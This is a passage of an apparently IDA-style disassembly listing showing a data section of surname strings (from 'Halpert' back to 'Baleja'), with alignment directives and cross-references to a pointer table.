		align 4
aHalpert	db 'Halpert',0          ; DATA XREF: ___:0042E060o
aHallowell	db 'Hallowell',0        ; DATA XREF: ___:0042E05Co
		align 10h
aHalkias	db 'Halkias',0          ; DATA XREF: ___:0042E058o
aHaley		db 'Haley',0            ; DATA XREF: ___:0042E054o
		align 10h
aHackshaw	db 'Hackshaw',0         ; DATA XREF: ___:0042E050o
		align 4
aHackman	db 'Hackman',0          ; DATA XREF: ___:0042E04Co
aHaar		db 'Haar',0             ; DATA XREF: ___:0042E048o
		align 4
aHa		db 'Ha',0               ; DATA XREF: ___:0042E044o
		align 10h
aGuo		db 'Guo',0              ; DATA XREF: ___:0042E040o
aGunn		db 'Gunn',0             ; DATA XREF: ___:0042E03Co
		align 4
aGuenthart	db 'Guenthart',0        ; DATA XREF: ___:0042E038o
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: ___:0042E034o
		align 10h
aGruner		db 'Gruner',0           ; DATA XREF: ___:0042E030o
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: ___:0042E02Co
		align 4
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: ___:0042E028o
		align 10h
aGriffiths	db 'Griffiths',0        ; DATA XREF: ___:0042E024o
		align 4
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: ___:0042E020o
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: ___:0042E01Co
		align 4
aGravell	db 'Gravell',0          ; DATA XREF: ___:0042E018o
aGozzi		db 'Gozzi',0            ; DATA XREF: ___:0042E014o
		align 4
aGoody		db 'Goody',0            ; DATA XREF: ___:0042E010o
		align 4
aGoodearl	db 'Goodearl',0         ; DATA XREF: ___:0042E00Co
		align 4
aGood		db 'Good',0             ; DATA XREF: ___:0042E008o
		align 10h
aGoncalves	db 'Goncalves',0        ; DATA XREF: ___:0042E004o
		align 4
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: ___:0042E000o
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: ___:0042DFFCo
aGlegg		db 'Glegg',0            ; DATA XREF: ___:0042DFF8o
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: ___:0042DFF4o
aGist		db 'Gist',0             ; DATA XREF: ___:0042DFF0o
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: ___:0042DFECo
		align 4
aGill		db 'Gill',0             ; DATA XREF: ___:0042DFE8o
		align 4
aGili		db 'Gili',0             ; DATA XREF: ___:0042DFE4o
		align 4
aGilbert	db 'Gilbert',0          ; DATA XREF: ___:0042DFE0o
aGibson		db 'Gibson',0           ; DATA XREF: ___:0042DFDCo
		align 4
aGibbens	db 'Gibbens',0          ; DATA XREF: ___:0042DFD8o
aGhorai		db 'Ghorai',0           ; DATA XREF: ___:0042DFD4o
		align 4
aGerrett	db 'Gerrett',0          ; DATA XREF: ___:0042DFD0o
aGeorgi		db 'Georgi',0           ; DATA XREF: ___:0042DFCCo
		align 4
aGemberling	db 'Gemberling',0       ; DATA XREF: ___:0042DFC8o
		align 10h
aGeller		db 'Geller',0           ; DATA XREF: ___:0042DFC4o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: ___:0042DFC0o
aGarman		db 'Garman',0           ; DATA XREF: ___:0042DFBCo
		align 4
aGarfield	db 'Garfield',0         ; DATA XREF: ___:0042DFB8o
		align 4
aGambini	db 'Gambini',0          ; DATA XREF: ___:0042DFB4o
aGalwey		db 'Galwey',0           ; DATA XREF: ___:0042DFB0o
		align 4
aGaleotti	db 'Galeotti',0         ; DATA XREF: ___:0042DFACo
		align 10h
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: ___:0042DFA8o
		align 4
aGabrielli	db 'Gabrielli',0        ; DATA XREF: ___:0042DFA4o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: ___:0042DFA0o
		align 10h
aFurth		db 'Furth',0            ; DATA XREF: ___:0042DF9Co
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: ___:0042DF98o
		align 10h
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: ___:0042DF94o
		align 4
aFrye		db 'Frye',0             ; DATA XREF: ___:0042DF90o
		align 4
aFryberger	db 'Fryberger',0        ; DATA XREF: ___:0042DF8Co
		align 10h
aFrowiss	db 'Frowiss',0          ; DATA XREF: ___:0042DF88o
aFrisken	db 'Frisken',0          ; DATA XREF: ___:0042DF84o
aFriedland	db 'Friedland',0        ; DATA XREF: ___:0042DF80o
		align 4
aFried		db 'Fried',0            ; DATA XREF: ___:0042DF7Co
		align 4
aFreundlich	db 'Freundlich',0       ; DATA XREF: ___:0042DF78o
		align 10h
aFreid		db 'Freid',0            ; DATA XREF: ___:0042DF74o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: ___:0042DF70o
		align 4
aFranz		db 'Franz',0            ; DATA XREF: ___:0042DF6Co
		align 10h
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: ___:0042DF68o
		align 10h
aFrancisco	db 'Francisco',0        ; DATA XREF: ___:0042DF64o
		align 4
aFossi		db 'Fossi',0            ; DATA XREF: ___:0042DF60o
		align 4
aFossey		db 'Fossey',0           ; DATA XREF: ___:0042DF5Co
		align 4
aFortier	db 'Fortier',0          ; DATA XREF: ___:0042DF58o
aFortes		db 'Fortes',0           ; DATA XREF: ___:0042DF54o
		align 4
aForester	db 'Forester',0         ; DATA XREF: ___:0042DF50o
		align 4
aFolks		db 'Folks',0            ; DATA XREF: ___:0042DF4Co
		align 10h
aFlores		db 'Flores',0           ; DATA XREF: ___:0042DF48o
		align 4
aFlier		db 'Flier',0            ; DATA XREF: ___:0042DF44o
		align 10h
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: ___:0042DF40o
aFisk		db 'Fisk',0             ; DATA XREF: ___:0042DF3Co
		align 4
aFiorina	db 'Fiorina',0          ; DATA XREF: ___:0042DF38o
aFinnegan	db 'Finnegan',0         ; DATA XREF: ___:0042DF34o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: ___:0042DF30o
aFink		db 'Fink',0             ; DATA XREF: ___:0042DF2Co
		align 4
aField		db 'Field',0            ; DATA XREF: ___:0042DF28o
		align 4
aFido		db 'Fido',0             ; DATA XREF: ___:0042DF24o
		align 4
aFeuer		db 'Feuer',0            ; DATA XREF: ___:0042DF20o
		align 4
aFerriell	db 'Ferriell',0         ; DATA XREF: ___:0042DF1Co
		align 10h
aFerrante	db 'Ferrante',0         ; DATA XREF: ___:0042DF18o
		align 4
aFernandes	db 'Fernandes',0        ; DATA XREF: ___:0042DF14o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: ___:0042DF10o
aFeldman	db 'Feldman',0          ; DATA XREF: ___:0042DF0Co
aFejzo		db 'Fejzo',0            ; DATA XREF: ___:0042DF08o
		align 10h
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: ___:0042DF04o
		align 4
aFates		db 'Fates',0            ; DATA XREF: ___:0042DF00o
		align 4
aFasso		db 'Fasso',27h,0        ; DATA XREF: ___:0042DEFCo
		align 4
aFarren		db 'Farren',0           ; DATA XREF: ___:0042DEF8o
		align 4
aFarone		db 'Farone',0           ; DATA XREF: ___:0042DEF4o
		align 4
aFaris		db 'Faris',0            ; DATA XREF: ___:0042DEF0o
		align 4
aFalorsi	db 'Falorsi',0          ; DATA XREF: ___:0042DEECo
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: ___:0042DEE8o
		align 4
aFaioes		db 'Faioes',0           ; DATA XREF: ___:0042DEE4o
		align 4
aFagan		db 'Fagan',0            ; DATA XREF: ___:0042DEE0o
		align 4
aFabbris	db 'Fabbris',0          ; DATA XREF: ___:0042DEDCo
aEverett	db 'Everett',0          ; DATA XREF: ___:0042DED8o
aEuripides	db 'Euripides',0        ; DATA XREF: ___:0042DED4o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: ___:0042DED0o
		align 10h
aEstes		db 'Estes',0            ; DATA XREF: ___:0042DECCo
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: ___:0042DEC8o
		align 4
aErez		db 'Erez',0             ; DATA XREF: ___:0042DEC4o
		align 4
aErdos		db 'Erdos',0            ; DATA XREF: ___:0042DEC0o
		align 4
aErdman		db 'Erdman',0           ; DATA XREF: ___:0042DEBCo
		align 4
aErbach		db 'Erbach',0           ; DATA XREF: ___:0042DEB8o
		align 4
aEppling	db 'Eppling',0          ; DATA XREF: ___:0042DEB4o
aEnyeart	db 'Enyeart',0          ; DATA XREF: ___:0042DEB0o
aEncinas	db 'Encinas',0          ; DATA XREF: ___:0042DEACo
aElvis		db 'Elvis',0            ; DATA XREF: ___:0042DEA8o
		align 4
aElmerick	db 'Elmerick',0         ; DATA XREF: ___:0042DEA4o
		align 10h
aElmendorf	db 'Elmendorf',0        ; DATA XREF: ___:0042DEA0o
		align 4
aEliasson	db 'Eliasson',0         ; DATA XREF: ___:0042DE9Co
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: ___:0042DE98o
aEdward		db 'Edward',0           ; DATA XREF: ___:0042DE94o
		align 4
aEdner		db 'Edner',0            ; DATA XREF: ___:0042DE90o
		align 4
aEdley		db 'Edley',0            ; DATA XREF: ___:0042DE8Co
		align 4
aEckel		db 'Eckel',0            ; DATA XREF: ___:0042DE88o
		align 4
aEbeling	db 'Ebeling',0          ; DATA XREF: ___:0042DE84o
aEardley	db 'Eardley',0          ; DATA XREF: ___:0042DE80o
aDwyer		db 'Dwyer',0            ; DATA XREF: ___:0042DE7Co
		align 4
aDussault	db 'Dussault',0         ; DATA XREF: ___:0042DE78o
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: ___:0042DE74o
aDuffin		db 'Duffin',0           ; DATA XREF: ___:0042DE70o
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: ___:0042DE6Co
aDrinker	db 'Drinker',0          ; DATA XREF: ___:0042DE68o
aDowsland	db 'Dowsland',0         ; DATA XREF: ___:0042DE64o
		align 4
aDoug		db 'Doug',0             ; DATA XREF: ___:0042DE60o
		align 4
aDoty		db 'Doty',0             ; DATA XREF: ___:0042DE5Co
		align 4
aDosi		db 'Dosi',0             ; DATA XREF: ___:0042DE58o
		align 4
aDorf		db 'Dorf',0             ; DATA XREF: ___:0042DE54o
		align 4
aDore		db 'Dore',0             ; DATA XREF: ___:0042DE50o
		align 4
aDoonan		db 'Doonan',0           ; DATA XREF: ___:0042DE4Co
		align 4
aDonner		db 'Donner',0           ; DATA XREF: ___:0042DE48o
		align 4
aDonahue	db 'Donahue',0          ; DATA XREF: ___:0042DE44o
aDoherty	db 'Doherty',0          ; DATA XREF: ___:0042DE40o
aDockery	db 'Dockery',0          ; DATA XREF: ___:0042DE3Co
aDirksen	db 'Dirksen',0          ; DATA XREF: ___:0042DE38o
aDionysius	db 'Dionysius',0        ; DATA XREF: ___:0042DE34o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: ___:0042DE30o
		align 4
aDifronzo	db 'Difronzo',0         ; DATA XREF: ___:0042DE2Co
		align 10h
aDifabio	db 'Difabio',0          ; DATA XREF: ___:0042DE28o
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: ___:0042DE24o
		align 4
aDicks		db 'Dicks',0            ; DATA XREF: ___:0042DE20o
		align 4
aDFini		db 'D',27h,'fini',0     ; DATA XREF: ___:0042DE1Co
		align 4
aDeutsch	db 'Deutsch',0          ; DATA XREF: ___:0042DE18o
aDesombre	db 'Desombre',0         ; DATA XREF: ___:0042DE14o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: ___:0042DE10o
aDenham		db 'Denham',0           ; DATA XREF: ___:0042DE0Co
		align 4
aDenault	db 'Denault',0          ; DATA XREF: ___:0042DE08o
aDemusz		db 'Demusz',0           ; DATA XREF: ___:0042DE04o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: ___:0042DE00o
		align 4
aDeming		db 'Deming',0           ; DATA XREF: ___:0042DDFCo
		align 4
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DDF8o
		align 4
aDelger		db 'Delger',0           ; DATA XREF: ___:0042DDF4o
		align 10h
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: ___:0042DDF0o
		align 10h
aDelattre	db 'Delattre',0         ; DATA XREF: ___:0042DDECo
		align 4
aDefeciani	db 'Defeciani',0        ; DATA XREF: ___:0042DDE8o
		align 4
aDees		db 'Dees',0             ; DATA XREF: ___:0042DDE4o
		align 10h
aDebroff	db 'Debroff',0          ; DATA XREF: ___:0042DDE0o
aDerousse	db 'deRousse',0         ; DATA XREF: ___:0042DDDCo
		align 4
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DDD8o
		align 10h
aDelapena	db 'DeLaPena',0         ; DATA XREF: ___:0042DDD4o
		align 4
aDegennaro	db 'DeGennaro',0        ; DATA XREF: ___:0042DDD0o
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: ___:0042DDCCo
aDavid		db 'David',0            ; DATA XREF: ___:0042DDC8o
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: ___:0042DDC4o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: ___:0042DDC0o
		align 4
aDas		db 'Das',0              ; DATA XREF: ___:0042DDBCo
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DDB8o
aDapice		db 'Dapice',0           ; DATA XREF: ___:0042DDB4o
		align 4
aDante		db 'Dante',0            ; DATA XREF: ___:0042DDB0o
		align 4
aDanieli	db 'Danieli',0          ; DATA XREF: ___:0042DDACo
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: ___:0042DDA8o
aDaly		db 'Daly',0             ; DATA XREF: ___:0042DDA4o
		align 4
aDaldalian	db 'Daldalian',0        ; DATA XREF: ___:0042DDA0o
		align 10h
aDasilva	db 'daSilva',0          ; DATA XREF: ___:0042DD9Co
aCyders		db 'Cyders',0           ; DATA XREF: ___:0042DD98o
		align 10h
aCvek		db 'Cvek',0             ; DATA XREF: ___:0042DD94o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: ___:0042DD90o
		align 10h
aCurrier	db 'Currier',0          ; DATA XREF: ___:0042DD8Co
aCui		db 'Cui',0              ; DATA XREF: ___:0042DD88o
aCroxton	db 'Croxton',0          ; DATA XREF: ___:0042DD84o
aCroxen		db 'Croxen',0           ; DATA XREF: ___:0042DD80o
		align 4
aCroshaw	db 'Croshaw',0          ; DATA XREF: ___:0042DD7Co
aCrocker	db 'Crocker',0          ; DATA XREF: ___:0042DD78o
aCrawford	db 'Crawford',0         ; DATA XREF: ___:0042DD74o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: ___:0042DD70o
aCounter	db 'Counter',0          ; DATA XREF: ___:0042DD6Co
aCosmides	db 'Cosmides',0         ; DATA XREF: ___:0042DD68o
		align 4
aCornish	db 'Cornish',0          ; DATA XREF: ___:0042DD64o
aCorey		db 'Corey',0            ; DATA XREF: ___:0042DD60o
		align 4
aConnors	db 'Connors',0          ; DATA XREF: ___:0042DD5Co
aCondodina	db 'Condodina',0        ; DATA XREF: ___:0042DD58o
		align 4
aConcino	db 'Concino',0          ; DATA XREF: ___:0042DD54o
aComstock	db 'Comstock',0         ; DATA XREF: ___:0042DD50o
		align 4
aCompton	db 'Compton',0          ; DATA XREF: ___:0042DD48o
					; ___:0042DD4Co
aCollis		db 'Collis',0           ; DATA XREF: ___:0042DD44o
		align 4
aCollard	db 'Collard',0          ; DATA XREF: ___:0042DD40o
aColella	db 'Colella',0          ; DATA XREF: ___:0042DD3Co
aColdren	db 'Coldren',0          ; DATA XREF: ___:0042DD38o
aCoito		db 'Coito',0            ; DATA XREF: ___:0042DD34o
		align 4
aCoblenz	db 'Coblenz',0          ; DATA XREF: ___:0042DD30o
aClow		db 'Clow',0             ; DATA XREF: ___:0042DD2Co
		align 4
aClifton	db 'Clifton',0          ; DATA XREF: ___:0042DD28o
aClement	db 'Clement',0          ; DATA XREF: ___:0042DD24o
aClark		db 'Clark',0            ; DATA XREF: ___:0042DD20o
		align 4
aClancy		db 'Clancy',0           ; DATA XREF: ___:0042DD1Co
		align 4
aClaffey	db 'Claffey',0          ; DATA XREF: ___:0042DD18o
aCifarelli	db 'Cifarelli',0        ; DATA XREF: ___:0042DD14o
		align 10h
aCicero		db 'Cicero',0           ; DATA XREF: ___:0042DD10o
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: ___:0042DD0Co
		align 4
aChurch		db 'Church',0           ; DATA XREF: ___:0042DD08o
		align 4
aChupasko	db 'Chupasko',0         ; DATA XREF: ___:0042DD04o
		align 4
aChu		db 'Chu',0              ; DATA XREF: ___:0042DD00o
aChristopher	db 'Christopher',0      ; DATA XREF: ___:0042DCFCo
aChristie	db 'Christie',0         ; DATA XREF: ___:0042DCF8o
		align 4
aChristiano	db 'Christiano',0       ; DATA XREF: ___:0042DCF4o
		align 10h
aChristian	db 'Christian',0        ; DATA XREF: ___:0042DCF0o
		align 4
aChristenson	db 'Christenson',0      ; DATA XREF: ___:0042DCECo
aChinman	db 'Chinman',0          ; DATA XREF: ___:0042DCE8o
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: ___:0042DCE4o
aChilds		db 'Childs',0           ; DATA XREF: ___:0042DCE0o
		align 4
aChildress	db 'Childress',0        ; DATA XREF: ___:0042DCDCo
		align 10h
aChien		db 'Chien',0            ; DATA XREF: ___:0042DCD8o
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: ___:0042DCD4o
		align 4
aChervinsky	db 'Chervinsky',0       ; DATA XREF: ___:0042DCD0o
		align 10h
aCherry		db 'Cherry',0           ; DATA XREF: ___:0042DCCCo
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: ___:0042DCC8o
		align 10h
aCharles	db 'Charles',0          ; DATA XREF: ___:0042DCC4o
aChapman	db 'Chapman',0          ; DATA XREF: ___:0042DCC0o
aCerioli	db 'Cerioli',0          ; DATA XREF: ___:0042DCBCo
aCeniceros	db 'Ceniceros',0        ; DATA XREF: ___:0042DCB8o
		align 4
aCavell		db 'Cavell',0           ; DATA XREF: ___:0042DCB4o
		align 4
aCavanagh	db 'Cavanagh',0         ; DATA XREF: ___:0042DCB0o
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: ___:0042DCACo
		align 4
aCaspar		db 'Caspar',0           ; DATA XREF: ___:0042DCA8o
		align 4
aCase		db 'Case',0             ; DATA XREF: ___:0042DCA4o
		align 4
aCascio		db 'Cascio',0           ; DATA XREF: ___:0042DCA0o
		align 4
aCartmill	db 'Cartmill',0         ; DATA XREF: ___:0042DC9Co
		align 4
aCarper		db 'Carper',0           ; DATA XREF: ___:0042DC98o
		align 10h
aCaroti		db 'Caroti',0           ; DATA XREF: ___:0042DC94o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: ___:0042DC90o
		align 4
aCarlyle	db 'Carlyle',0          ; DATA XREF: ___:0042DC8Co
aCarlos		db 'Carlos',0           ; DATA XREF: ___:0042DC88o
		align 4
aCarlin		db 'Carlin',0           ; DATA XREF: ___:0042DC84o
		align 4
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: ___:0042DC80o
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: ___:0042DC7Co
aCapursi	db 'Capursi',0          ; DATA XREF: ___:0042DC78o
aCappuccio	db 'Cappuccio',0        ; DATA XREF: ___:0042DC74o
		align 4
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: ___:0042DC70o
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: ___:0042DC6Co
		align 4
aCaperton	db 'Caperton',0         ; DATA XREF: ___:0042DC68o
		align 10h
aCapanni	db 'Capanni',0          ; DATA XREF: ___:0042DC64o
aCanley		db 'Canley',0           ; DATA XREF: ___:0042DC60o
		align 10h
aCammilleri	db 'Cammilleri',0       ; DATA XREF: ___:0042DC5Co
		align 4
aCammelli	db 'Cammelli',0         ; DATA XREF: ___:0042DC58o
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: ___:0042DC54o
		align 10h
aCage		db 'Cage',0             ; DATA XREF: ___:0042DC50o
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: ___:0042DC4Co
		align 10h
aByerly		db 'Byerly',0           ; DATA XREF: ___:0042DC48o
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: ___:0042DC44o
		align 10h
aBusetta	db 'Busetta',0          ; DATA XREF: ___:0042DC40o
aBurridge	db 'Burridge',0         ; DATA XREF: ___:0042DC3Co
		align 4
aBurke		db 'Burke',0            ; DATA XREF: ___:0042DC38o
		align 4
aBurdzy		db 'Burdzy',0           ; DATA XREF: ___:0042DC34o
		align 4
aBurden		db 'Burden',0           ; DATA XREF: ___:0042DC30o
		align 4
aBunton		db 'Bunton',0           ; DATA XREF: ___:0042DC2Co
		align 4
aBullard	db 'Bullard',0          ; DATA XREF: ___:0042DC28o
aBudding	db 'Budding',0          ; DATA XREF: ___:0042DC24o
aBuchan		db 'Buchan',0           ; DATA XREF: ___:0042DC20o
		align 4
aBrzycki	db 'Brzycki',0          ; DATA XREF: ___:0042DC1Co
aBrook		db 'Brook',0            ; DATA XREF: ___:0042DC18o
		align 4
aBroca		db 'Broca',0            ; DATA XREF: ___:0042DC14o
		align 4
aBritz		db 'Britz',0            ; DATA XREF: ___:0042DC10o
		align 4
aBrinton	db 'Brinton',0          ; DATA XREF: ___:0042DC0Co
aBridges	db 'Bridges',0          ; DATA XREF: ___:0042DC08o
aBridgeman	db 'Bridgeman',0        ; DATA XREF: ___:0042DC04o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: ___:0042DBFCo
					; ___:0042DC00o
		align 10h
aBrennan	db 'Brennan',0          ; DATA XREF: ___:0042DBF8o
aBrenan		db 'Brenan',0           ; DATA XREF: ___:0042DBF4o
		align 10h
aBreed		db 'Breed',0            ; DATA XREF: ___:0042DBF0o
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: ___:0042DBECo
		align 10h
aBradach	db 'Bradach',0          ; DATA XREF: ___:0042DBE8o
aBradac		db 'Bradac',0           ; DATA XREF: ___:0042DBE4o
		align 10h
aBracalente	db 'Bracalente',0       ; DATA XREF: ___:0042DBE0o
		align 4
aBoyne		db 'Boyne',0            ; DATA XREF: ___:0042DBDCo
		align 4
aBoym		db 'Boym',0             ; DATA XREF: ___:0042DBD8o
		align 4
aBoyland	db 'Boyland',0          ; DATA XREF: ___:0042DBD4o
aBoyes		db 'Boyes',0            ; DATA XREF: ___:0042DBD0o
		align 4
aBoyajian	db 'Boyajian',0         ; DATA XREF: ___:0042DBCCo
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: ___:0042DBC8o
		align 10h
aBowers		db 'Bowers',0           ; DATA XREF: ___:0042DBC4o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: ___:0042DBC0o
		align 4
aBoudrot	db 'Boudrot',0          ; DATA XREF: ___:0042DBBCo
aBoudin		db 'Boudin',0           ; DATA XREF: ___:0042DBB8o
		align 4
aBotosh		db 'Botosh',0           ; DATA XREF: ___:0042DBB4o
		align 4
aBothman	db 'Bothman',0          ; DATA XREF: ___:0042DBB0o
aBossi		db 'Bossi',0            ; DATA XREF: ___:0042DBACo
		align 4
aBorden		db 'Borden',0           ; DATA XREF: ___:0042DBA8o
		align 4
aBorack		db 'Borack',0           ; DATA XREF: ___:0042DBA4o
		align 4
aBoorstin	db 'Boorstin',0         ; DATA XREF: ___:0042DBA0o
		align 4
aBoone		db 'Boone',0            ; DATA XREF: ___:0042DB9Co
		align 10h
aBookbinder	db 'Bookbinder',0       ; DATA XREF: ___:0042DB98o
		align 4
aBook		db 'Book',0             ; DATA XREF: ___:0042DB94o
		align 4
aBontempo	db 'Bontempo',0         ; DATA XREF: ___:0042DB90o
		align 10h
aBoniface	db 'Boniface',0         ; DATA XREF: ___:0042DB8Co
		align 4
aBonham		db 'Bonham',0           ; DATA XREF: ___:0042DB88o
		align 4
aBoner		db 'Boner',0            ; DATA XREF: ___:0042DB84o
		align 4
aBologna	db 'Bologna',0          ; DATA XREF: ___:0042DB80o
aBollinger	db 'Bollinger',0        ; DATA XREF: ___:0042DB7Co
		align 10h
aBolick		db 'Bolick',0           ; DATA XREF: ___:0042DB78o
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: ___:0042DB74o
		align 10h
aBlyth		db 'Blyth',0            ; DATA XREF: ___:0042DB70o
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: ___:0042DB6Co
aBloemhof	db 'Bloemhof',0         ; DATA XREF: ___:0042DB68o
		align 4
aBloembergen	db 'Bloembergen',0      ; DATA XREF: ___:0042DB64o
aBloch		db 'Bloch',0            ; DATA XREF: ___:0042DB60o
		align 10h
aBlizard	db 'Blizard',0          ; DATA XREF: ___:0042DB5Co
aBliss		db 'Bliss',0            ; DATA XREF: ___:0042DB58o
		align 10h
aBlanke		db 'Blanke',0           ; DATA XREF: ___:0042DB54o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: ___:0042DB50o
		align 4
aBlagg		db 'Blagg',0            ; DATA XREF: ___:0042DB4Co
		align 4
aBlackwell	db 'Blackwell',0        ; DATA XREF: ___:0042DB48o
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: ___:0042DB44o
		align 4
aBisho		db 'Bisho',0            ; DATA XREF: ___:0042DB40o
		align 4
aBisema		db 'Bisema',0           ; DATA XREF: ___:0042DB3Co
		align 4
aBir		db 'Bir',0              ; DATA XREF: ___:0042DB38o
aBinion		db 'Binion',0           ; DATA XREF: ___:0042DB34o
		align 10h
aBickel		db 'Bickel',0           ; DATA XREF: ___:0042DB30o
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: ___:0042DB2Co
		align 4
aBeynart	db 'Beynart',0          ; DATA XREF: ___:0042DB28o
aBetti		db 'Betti',0            ; DATA XREF: ___:0042DB24o
		align 4
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: ___:0042DB20o
		align 4
aBernston	db 'Bernston',0         ; DATA XREF: ___:0042DB1Co
		align 10h
aBernassola	db 'Bernassola',0       ; DATA XREF: ___:0042DB18o
		align 4
aBernardo	db 'Bernardo',0         ; DATA XREF: ___:0042DB14o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: ___:0042DB10o
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: ___:0042DB0Co
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: ___:0042DB08o
		align 10h
aBelloc		db 'Belloc',0           ; DATA XREF: ___:0042DB04o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: ___:0042DB00o
aBellhouse	db 'Bellhouse',0        ; DATA XREF: ___:0042DAFCo
		align 4
aBellavance	db 'Bellavance',0       ; DATA XREF: ___:0042DAF8o
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: ___:0042DAF4o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: ___:0042DAF0o
		align 10h
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: ___:0042DAECo
		align 4
aBelanger	db 'Belanger',0         ; DATA XREF: ___:0042DAE8o
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: ___:0042DAE4o
aBedford	db 'Bedford',0          ; DATA XREF: ___:0042DAE0o
aBeder		db 'Beder',0            ; DATA XREF: ___:0042DADCo
		align 10h
aBeckman	db 'Beckman',0          ; DATA XREF: ___:0042DAD8o
aBean		db 'Bean',0             ; DATA XREF: ___:0042DAD4o
		align 10h
aBeal		db 'Beal',0             ; DATA XREF: ___:0042DAD0o
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: ___:0042DACCo
		align 10h
aBayo		db 'Bayo',0             ; DATA XREF: ___:0042DAC8o
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: ___:0042DAC4o
		align 10h
aBaumiller	db 'Baumiller',0        ; DATA XREF: ___:0042DAC0o
		align 4
aBatchelder	db 'Batchelder',0       ; DATA XREF: ___:0042DABCo
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: ___:0042DAB8o
		align 4
aBasavappa	db 'Basavappa',0        ; DATA XREF: ___:0042DAB4o
		align 10h
aBartoo		db 'Bartoo',0           ; DATA XREF: ___:0042DAB0o
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: ___:0042DAACo
		align 4
aBartholomew	db 'Bartholomew',0      ; DATA XREF: ___:0042DAA8o
aBarry		db 'Barry',0            ; DATA XREF: ___:0042DAA4o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: ___:0042DAA0o
		align 4
aBarnett	db 'Barnett',0          ; DATA XREF: ___:0042DA9Co
aBarneson	db 'Barneson',0         ; DATA XREF: ___:0042DA98o
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: ___:0042DA94o
		align 4
aBarberi	db 'Barberi',0          ; DATA XREF: ___:0042DA90o
aBaranowska	db 'Baranowska',0       ; DATA XREF: ___:0042DA8Co
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: ___:0042DA88o
		align 4
aBarajas	db 'Barajas',0          ; DATA XREF: ___:0042DA84o
aBarabesi	db 'Barabesi',0         ; DATA XREF: ___:0042DA80o
		align 4
aBanta		db 'Banta',0            ; DATA XREF: ___:0042DA7Co
		align 10h
aBaltz		db 'Baltz',0            ; DATA XREF: ___:0042DA78o
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: ___:0042DA74o
		align 10h
aBallatori	db 'Ballatori',0        ; DATA XREF: ___:0042DA70o
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: ___:0042DA6Co
		align 4
